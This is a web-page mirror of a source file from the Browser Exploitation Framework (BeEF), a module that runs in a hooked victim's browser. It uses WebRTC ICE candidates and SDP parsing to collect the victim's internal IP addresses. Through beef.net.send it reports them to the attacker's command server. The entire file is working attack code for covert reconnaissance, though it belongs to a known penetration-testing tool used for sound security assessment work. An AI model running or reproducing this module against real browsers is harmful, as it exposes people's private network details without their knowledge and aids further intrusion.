Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/get_internal_ip_webrtc/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
10
11
if (window.RTCIceGatherer || RTCPeerConnection){
12
13
var addrs = Object.create(null);
14
addrs["0.0.0.0"] = false;
15
16
// Prefer RTCIceGatherer of simplicity.
17
if (window.RTCIceGatherer) {
18
var iceGatherer = new RTCIceGatherer({
19
"gatherPolicy": "all",
20
"iceServers": [ ],
21
});
22
iceGatherer.onlocalcandidate = function (evt) {
23
if (evt.candidate.type) {
24
// There may be multiple IP addresses
25
if (evt.candidate.type == "host") {
26
// The ones marked "host" are local IP addresses
27
processIPs(evt.candidate.ip);
28
};
29
} else {
30
retResults();
31
};
32
};
33
iceGatherer.onerror = function (e) {
34
beef.debug("ICE Gatherer Failed");
35
beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.are.status_error());
36
};
37
} else {
38
// Construct RTC peer connection
39
var servers = {iceServers:[]};
40
var mediaConstraints = {optional:[{googIPv6: true}]};
41
var rtc = new RTCPeerConnection(servers, mediaConstraints);
42
rtc.createDataChannel('', {reliable:false});
43
44
// Upon an ICE candidate being found
45
// Grep the SDP data for IP address data
46
rtc.onicecandidate = function (evt) {
47
if (evt.candidate){
48
// There may be multiple local IP addresses
49
beef.debug("a="+evt.candidate.candidate);
50
grepSDP("a="+evt.candidate.candidate);
51
} else {
52
// No more candidates: return results.
53
retResults();
54
};
55
};
56
57
// Create an SDP offer
58
rtc.createOffer(function (offerDesc) {
59
grepSDP(offerDesc.sdp);
60
rtc.setLocalDescription(offerDesc);
61
retResults();
62
}, function (e) {
63
beef.debug("SDP Offer Failed");
64
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error());
65
});
66
};
67
68
function retResults(){
69
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
70
71
// This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way
72
get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")];
73
}
74
75
// Return results
76
function processIPs(newAddr) {
77
if (newAddr in addrs) return;
78
else addrs[newAddr] = true;
79
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
80
beef.debug("Found IPs: "+ displayAddrs.join(","));
81
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success());
82
}
83
84
85
// Retrieve IP addresses from SDP
86
function grepSDP(sdp) {
87
var hosts = [];
88
sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39
89
if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13
90
var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1
91
addr = parts[4],
92
type = parts[7];
93
if (type === 'host') processIPs(addr);
94
} else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7
95
var parts = line.split(' '),
96
addr = parts[2];
97
processIPs(addr);
98
}
99
});
100
}
101
}else {
102
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error());
103
}
104
});
105
106